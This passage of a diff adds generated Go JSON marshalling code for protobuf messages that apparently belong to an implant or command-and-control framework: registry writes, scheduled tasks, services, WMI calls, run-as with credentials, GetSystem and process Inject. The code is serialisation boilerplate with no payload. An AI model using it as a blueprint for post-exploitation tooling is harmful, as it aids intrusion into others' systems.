*IfconfigResponse) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the IfconfigResponse message from JSON. +func (x *IfconfigResponse) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "net_interfaces", "netInterfaces": + s.AddField("net_interfaces") + if s.ReadNil() { + x.NetInterfaces = nil + return + } + s.ReadArray(func() { + if s.ReadNil() { + x.NetInterfaces = append(x.NetInterfaces, nil) + return + } + v := &NetInterface{} + v.UnmarshalProtoJSON(s.WithField("net_interfaces", false)) + if s.Err() != nil { + return + } + x.NetInterfaces = append(x.NetInterfaces, v) + }) + } + }) +} + +// UnmarshalJSON unmarshals the IfconfigResponse from JSON. +func (x *IfconfigResponse) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the RegistryRequest message to JSON. +func (x *RegistryRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Type != "" || s.HasField("type") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("type") + s.WriteString(x.Type) + } + if x.Registry != nil || s.HasField("registry") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("registry") + x.Registry.MarshalProtoJSON(s.WithField("registry")) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the RegistryRequest to JSON. +func (x *RegistryRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the RegistryRequest message from JSON. +func (x *RegistryRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "type": + s.AddField("type") + x.Type = s.ReadString() + case "registry": + if s.ReadNil() { + x.Registry = nil + return + } + x.Registry = &Registry{} + x.Registry.UnmarshalProtoJSON(s.WithField("registry", true)) + } + }) +} + +// UnmarshalJSON unmarshals the RegistryRequest from JSON. +func (x *RegistryRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Registry message to JSON. +func (x *Registry) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Hive != "" || s.HasField("hive") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("hive") + s.WriteString(x.Hive) + } + if x.Path != "" || s.HasField("path") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("path") + s.WriteString(x.Path) + } + if x.Key != "" || s.HasField("key") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("key") + s.WriteString(x.Key) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Registry to JSON. +func (x *Registry) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Registry message from JSON. +func (x *Registry) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "hive": + s.AddField("hive") + x.Hive = s.ReadString() + case "path": + s.AddField("path") + x.Path = s.ReadString() + case "key": + s.AddField("key") + x.Key = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the Registry from JSON. +func (x *Registry) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the RegistryWriteRequest message to JSON. +func (x *RegistryWriteRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Hive != "" || s.HasField("hive") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("hive") + s.WriteString(x.Hive) + } + if x.Path != "" || s.HasField("path") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("path") + s.WriteString(x.Path) + } + if x.Key != "" || s.HasField("key") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("key") + s.WriteString(x.Key) + } + if x.StringValue != "" || s.HasField("stringValue") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("stringValue") + s.WriteString(x.StringValue) + } + if len(x.ByteValue) > 0 || s.HasField("byteValue") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("byteValue") + s.WriteBytes(x.ByteValue) + } + if x.DwordValue != 0 || s.HasField("dwordValue") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("dwordValue") + s.WriteUint32(x.DwordValue) + } + if x.QwordValue != 0 || s.HasField("qwordValue") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("qwordValue") + s.WriteUint64(x.QwordValue) + } + if x.Regtype != 0 || s.HasField("regtype") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("regtype") + s.WriteUint32(x.Regtype) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the RegistryWriteRequest to JSON. +func (x *RegistryWriteRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the RegistryWriteRequest message from JSON. +func (x *RegistryWriteRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "hive": + s.AddField("hive") + x.Hive = s.ReadString() + case "path": + s.AddField("path") + x.Path = s.ReadString() + case "key": + s.AddField("key") + x.Key = s.ReadString() + case "string_value", "stringValue": + s.AddField("string_value") + x.StringValue = s.ReadString() + case "byte_value", "byteValue": + s.AddField("byte_value") + x.ByteValue = s.ReadBytes() + case "dword_value", "dwordValue": + s.AddField("dword_value") + x.DwordValue = s.ReadUint32() + case "qword_value", "qwordValue": + s.AddField("qword_value") + x.QwordValue = s.ReadUint64() + case "regtype": + s.AddField("regtype") + x.Regtype = s.ReadUint32() + } + }) +} + +// UnmarshalJSON unmarshals the RegistryWriteRequest from JSON. +func (x *RegistryWriteRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the TaskScheduleRequest message to JSON. +func (x *TaskScheduleRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Type != "" || s.HasField("type") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("type") + s.WriteString(x.Type) + } + if x.Taskschd != nil || s.HasField("taskschd") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("taskschd") + x.Taskschd.MarshalProtoJSON(s.WithField("taskschd")) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the TaskScheduleRequest to JSON. +func (x *TaskScheduleRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the TaskScheduleRequest message from JSON. +func (x *TaskScheduleRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "type": + s.AddField("type") + x.Type = s.ReadString() + case "taskschd": + if s.ReadNil() { + x.Taskschd = nil + return + } + x.Taskschd = &TaskSchedule{} + x.Taskschd.UnmarshalProtoJSON(s.WithField("taskschd", true)) + } + }) +} + +// UnmarshalJSON unmarshals the TaskScheduleRequest from JSON. +func (x *TaskScheduleRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the TaskSchedule message to JSON. +func (x *TaskSchedule) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Name != "" || s.HasField("name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("name") + s.WriteString(x.Name) + } + if x.Path != "" || s.HasField("path") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("path") + s.WriteString(x.Path) + } + if x.ExecutablePath != "" || s.HasField("executablePath") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("executablePath") + s.WriteString(x.ExecutablePath) + } + if x.TriggerType != 0 || s.HasField("triggerType") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("triggerType") + s.WriteUint32(x.TriggerType) + } + if x.StartBoundary != "" || s.HasField("startBoundary") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("startBoundary") + s.WriteString(x.StartBoundary) + } + if x.Description != "" || s.HasField("description") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("description") + s.WriteString(x.Description) + } + if x.Enabled || s.HasField("enabled") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("enabled") + s.WriteBool(x.Enabled) + } + if x.LastRunTime != "" || s.HasField("lastRunTime") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("lastRunTime") + s.WriteString(x.LastRunTime) + } + if x.NextRunTime != "" || s.HasField("nextRunTime") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("nextRunTime") + s.WriteString(x.NextRunTime) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the TaskSchedule to JSON. +func (x *TaskSchedule) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the TaskSchedule message from JSON. +func (x *TaskSchedule) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "name": + s.AddField("name") + x.Name = s.ReadString() + case "path": + s.AddField("path") + x.Path = s.ReadString() + case "executable_path", "executablePath": + s.AddField("executable_path") + x.ExecutablePath = s.ReadString() + case "trigger_type", "triggerType": + s.AddField("trigger_type") + x.TriggerType = s.ReadUint32() + case "start_boundary", "startBoundary": + s.AddField("start_boundary") + x.StartBoundary = s.ReadString() + case "description": + s.AddField("description") + x.Description = s.ReadString() + case "enabled": + s.AddField("enabled") + x.Enabled = s.ReadBool() + case "last_run_time", "lastRunTime": + s.AddField("last_run_time") + x.LastRunTime = s.ReadString() + case "next_run_time", "nextRunTime": + s.AddField("next_run_time") + x.NextRunTime = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the TaskSchedule from JSON. +func (x *TaskSchedule) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the TaskSchedulesResponse message to JSON. +func (x *TaskSchedulesResponse) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if len(x.Schedules) > 0 || s.HasField("schedules") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("schedules") + s.WriteArrayStart() + var wroteElement bool + for _, element := range x.Schedules { + s.WriteMoreIf(&wroteElement) + element.MarshalProtoJSON(s.WithField("schedules")) + } + s.WriteArrayEnd() + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the TaskSchedulesResponse to JSON. +func (x *TaskSchedulesResponse) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the TaskSchedulesResponse message from JSON. +func (x *TaskSchedulesResponse) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "schedules": + s.AddField("schedules") + if s.ReadNil() { + x.Schedules = nil + return + } + s.ReadArray(func() { + if s.ReadNil() { + x.Schedules = append(x.Schedules, nil) + return + } + v := &TaskSchedule{} + v.UnmarshalProtoJSON(s.WithField("schedules", false)) + if s.Err() != nil { + return + } + x.Schedules = append(x.Schedules, v) + }) + } + }) +} + +// UnmarshalJSON unmarshals the TaskSchedulesResponse from JSON. +func (x *TaskSchedulesResponse) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the ServiceRequest message to JSON. +func (x *ServiceRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Type != "" || s.HasField("type") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("type") + s.WriteString(x.Type) + } + if x.Service != nil || s.HasField("service") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("service") + x.Service.MarshalProtoJSON(s.WithField("service")) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the ServiceRequest to JSON. +func (x *ServiceRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the ServiceRequest message from JSON. +func (x *ServiceRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "type": + s.AddField("type") + x.Type = s.ReadString() + case "service": + if s.ReadNil() { + x.Service = nil + return + } + x.Service = &ServiceConfig{} + x.Service.UnmarshalProtoJSON(s.WithField("service", true)) + } + }) +} + +// UnmarshalJSON unmarshals the ServiceRequest from JSON. +func (x *ServiceRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the ServiceConfig message to JSON. +func (x *ServiceConfig) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Name != "" || s.HasField("name") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("name") + s.WriteString(x.Name) + } + if x.DisplayName != "" || s.HasField("displayName") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("displayName") + s.WriteString(x.DisplayName) + } + if x.ExecutablePath != "" || s.HasField("executablePath") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("executablePath") + s.WriteString(x.ExecutablePath) + } + if x.StartType != 0 || s.HasField("startType") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("startType") + s.WriteUint32(x.StartType) + } + if x.ErrorControl != 0 || s.HasField("errorControl") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("errorControl") + s.WriteUint32(x.ErrorControl) + } + if x.AccountName != "" || s.HasField("accountName") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("accountName") + s.WriteString(x.AccountName) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the ServiceConfig to JSON. +func (x *ServiceConfig) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the ServiceConfig message from JSON. +func (x *ServiceConfig) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "name": + s.AddField("name") + x.Name = s.ReadString() + case "display_name", "displayName": + s.AddField("display_name") + x.DisplayName = s.ReadString() + case "executable_path", "executablePath": + s.AddField("executable_path") + x.ExecutablePath = s.ReadString() + case "start_type", "startType": + s.AddField("start_type") + x.StartType = s.ReadUint32() + case "error_control", "errorControl": + s.AddField("error_control") + x.ErrorControl = s.ReadUint32() + case "account_name", "accountName": + s.AddField("account_name") + x.AccountName = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the ServiceConfig from JSON. +func (x *ServiceConfig) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the ServiceStatus message to JSON. +func (x *ServiceStatus) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.CurrentState != 0 || s.HasField("currentState") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("currentState") + s.WriteUint32(x.CurrentState) + } + if x.ProcessId != 0 || s.HasField("processId") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("processId") + s.WriteUint32(x.ProcessId) + } + if x.ExitCode != 0 || s.HasField("exitCode") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("exitCode") + s.WriteUint32(x.ExitCode) + } + if x.Checkpoint != 0 || s.HasField("checkpoint") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("checkpoint") + s.WriteUint32(x.Checkpoint) + } + if x.WaitHint != 0 || s.HasField("waitHint") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("waitHint") + s.WriteUint32(x.WaitHint) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the ServiceStatus to JSON. +func (x *ServiceStatus) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the ServiceStatus message from JSON. +func (x *ServiceStatus) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "current_state", "currentState": + s.AddField("current_state") + x.CurrentState = s.ReadUint32() + case "process_id", "processId": + s.AddField("process_id") + x.ProcessId = s.ReadUint32() + case "exit_code", "exitCode": + s.AddField("exit_code") + x.ExitCode = s.ReadUint32() + case "checkpoint": + s.AddField("checkpoint") + x.Checkpoint = s.ReadUint32() + case "wait_hint", "waitHint": + s.AddField("wait_hint") + x.WaitHint = s.ReadUint32() + } + }) +} + +// UnmarshalJSON unmarshals the ServiceStatus from JSON. +func (x *ServiceStatus) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Service message to JSON. +func (x *Service) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Config != nil || s.HasField("config") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("config") + x.Config.MarshalProtoJSON(s.WithField("config")) + } + if x.Status != nil || s.HasField("status") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("status") + x.Status.MarshalProtoJSON(s.WithField("status")) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Service to JSON. +func (x *Service) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Service message from JSON. +func (x *Service) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "config": + if s.ReadNil() { + x.Config = nil + return + } + x.Config = &ServiceConfig{} + x.Config.UnmarshalProtoJSON(s.WithField("config", true)) + case "status": + if s.ReadNil() { + x.Status = nil + return + } + x.Status = &ServiceStatus{} + x.Status.UnmarshalProtoJSON(s.WithField("status", true)) + } + }) +} + +// UnmarshalJSON unmarshals the Service from JSON. +func (x *Service) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the ServicesResponse message to JSON. +func (x *ServicesResponse) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if len(x.Services) > 0 || s.HasField("services") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("services") + s.WriteArrayStart() + var wroteElement bool + for _, element := range x.Services { + s.WriteMoreIf(&wroteElement) + element.MarshalProtoJSON(s.WithField("services")) + } + s.WriteArrayEnd() + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the ServicesResponse to JSON. +func (x *ServicesResponse) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the ServicesResponse message from JSON. +func (x *ServicesResponse) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "services": + s.AddField("services") + if s.ReadNil() { + x.Services = nil + return + } + s.ReadArray(func() { + if s.ReadNil() { + x.Services = append(x.Services, nil) + return + } + v := &Service{} + v.UnmarshalProtoJSON(s.WithField("services", false)) + if s.Err() != nil { + return + } + x.Services = append(x.Services, v) + }) + } + }) +} + +// UnmarshalJSON unmarshals the ServicesResponse from JSON. +func (x *ServicesResponse) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the WmiQueryRequest message to JSON. +func (x *WmiQueryRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Namespace != "" || s.HasField("namespace") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("namespace") + s.WriteString(x.Namespace) + } + if len(x.Args) > 0 || s.HasField("args") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("args") + s.WriteStringArray(x.Args) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the WmiQueryRequest to JSON. +func (x *WmiQueryRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the WmiQueryRequest message from JSON. +func (x *WmiQueryRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "namespace": + s.AddField("namespace") + x.Namespace = s.ReadString() + case "args": + s.AddField("args") + if s.ReadNil() { + x.Args = nil + return + } + x.Args = s.ReadStringArray() + } + }) +} + +// UnmarshalJSON unmarshals the WmiQueryRequest from JSON. +func (x *WmiQueryRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the WmiMethodRequest_ParamsEntry message to JSON. +func (x *WmiMethodRequest_ParamsEntry) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Key != "" || s.HasField("key") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("key") + s.WriteString(x.Key) + } + if x.Value != "" || s.HasField("value") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("value") + s.WriteString(x.Value) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the WmiMethodRequest_ParamsEntry to JSON. +func (x *WmiMethodRequest_ParamsEntry) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the WmiMethodRequest_ParamsEntry message from JSON. +func (x *WmiMethodRequest_ParamsEntry) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "key": + s.AddField("key") + x.Key = s.ReadString() + case "value": + s.AddField("value") + x.Value = s.ReadString() + } + }) +} + +// UnmarshalJSON unmarshals the WmiMethodRequest_ParamsEntry from JSON. +func (x *WmiMethodRequest_ParamsEntry) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the WmiMethodRequest message to JSON. +func (x *WmiMethodRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Namespace != "" || s.HasField("namespace") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("namespace") + s.WriteString(x.Namespace) + } + if x.ClassName != "" || s.HasField("className") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("className") + s.WriteString(x.ClassName) + } + if x.MethodName != "" || s.HasField("methodName") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("methodName") + s.WriteString(x.MethodName) + } + if x.Params != nil || s.HasField("params") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("params") + s.WriteObjectStart() + var wroteElement bool + for k, v := range x.Params { + s.WriteMoreIf(&wroteElement) + s.WriteObjectStringField(k) + s.WriteString(v) + } + s.WriteObjectEnd() + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the WmiMethodRequest to JSON. +func (x *WmiMethodRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the WmiMethodRequest message from JSON. +func (x *WmiMethodRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "namespace": + s.AddField("namespace") + x.Namespace = s.ReadString() + case "class_name", "className": + s.AddField("class_name") + x.ClassName = s.ReadString() + case "method_name", "methodName": + s.AddField("method_name") + x.MethodName = s.ReadString() + case "params": + s.AddField("params") + if s.ReadNil() { + x.Params = nil + return + } + x.Params = make(map[string]string) + s.ReadStringMap(func(key string) { + x.Params[key] = s.ReadString() + }) + } + }) +} + +// UnmarshalJSON unmarshals the WmiMethodRequest from JSON. +func (x *WmiMethodRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the RunAsRequest message to JSON. +func (x *RunAsRequest) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if x.Username != "" || s.HasField("username") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("username") + s.WriteString(x.Username) + } + if x.Domain != "" || s.HasField("domain") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("domain") + s.WriteString(x.Domain) + } + if x.Password != "" || s.HasField("password") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("password") + s.WriteString(x.Password) + } + if x.Program != "" || s.HasField("program") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("program") + s.WriteString(x.Program) + } + if x.Args != "" || s.HasField("args") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("args") + s.WriteString(x.Args) + } + if x.UseProfile || s.HasField("useProfile") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("useProfile") + s.WriteBool(x.UseProfile) + } + if x.Netonly || s.HasField("netonly") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("netonly") + s.WriteBool(x.Netonly) + } + if x.UseEnv || s.HasField("useEnv") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("useEnv") + s.WriteBool(x.UseEnv) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the RunAsRequest to JSON. +func (x *RunAsRequest) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the RunAsRequest message from JSON. +func (x *RunAsRequest) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "username": + s.AddField("username") + x.Username = s.ReadString() + case "domain": + s.AddField("domain") + x.Domain = s.ReadString() + case "password": + s.AddField("password") + x.Password = s.ReadString() + case "program": + s.AddField("program") + x.Program = s.ReadString() + case "args": + s.AddField("args") + x.Args = s.ReadString() + case "use_profile", "useProfile": + s.AddField("use_profile") + x.UseProfile = s.ReadBool() + case "netonly": + s.AddField("netonly") + x.Netonly = s.ReadBool() + case "use_env", "useEnv": + s.AddField("use_env") + x.UseEnv = s.ReadBool() + } + }) +} + +// UnmarshalJSON unmarshals the RunAsRequest from JSON. +func (x *RunAsRequest) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the GetSystem message to JSON. +func (x *GetSystem) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if len(x.Bin) > 0 || s.HasField("bin") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("bin") + s.WriteBytes(x.Bin) + } + if x.Pid != 0 || s.HasField("pid") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("pid") + s.WriteUint32(x.Pid) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the GetSystem to JSON. +func (x *GetSystem) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the GetSystem message from JSON. +func (x *GetSystem) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { + switch key { + default: + s.Skip() // ignore unknown field + case "bin": + s.AddField("bin") + x.Bin = s.ReadBytes() + case "pid": + s.AddField("pid") + x.Pid = s.ReadUint32() + } + }) +} + +// UnmarshalJSON unmarshals the GetSystem from JSON. +func (x *GetSystem) UnmarshalJSON(b []byte) error { + return json.DefaultUnmarshalerConfig.Unmarshal(b, x) +} + +// MarshalProtoJSON marshals the Inject message to JSON. +func (x *Inject) MarshalProtoJSON(s *json.MarshalState) { + if x == nil { + s.WriteNil() + return + } + s.WriteObjectStart() + var wroteField bool + if len(x.Bin) > 0 || s.HasField("bin") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("bin") + s.WriteBytes(x.Bin) + } + if x.Pid != 0 || s.HasField("pid") { + s.WriteMoreIf(&wroteField) + s.WriteObjectField("pid") + s.WriteUint32(x.Pid) + } + s.WriteObjectEnd() +} + +// MarshalJSON marshals the Inject to JSON. +func (x *Inject) MarshalJSON() ([]byte, error) { + return json.DefaultMarshalerConfig.Marshal(x) +} + +// UnmarshalProtoJSON unmarshals the Inject message from JSON. +func (x *Inject) UnmarshalProtoJSON(s *json.UnmarshalState) { + if s.ReadNil() { + return + } + s.ReadObject(func(key string) { 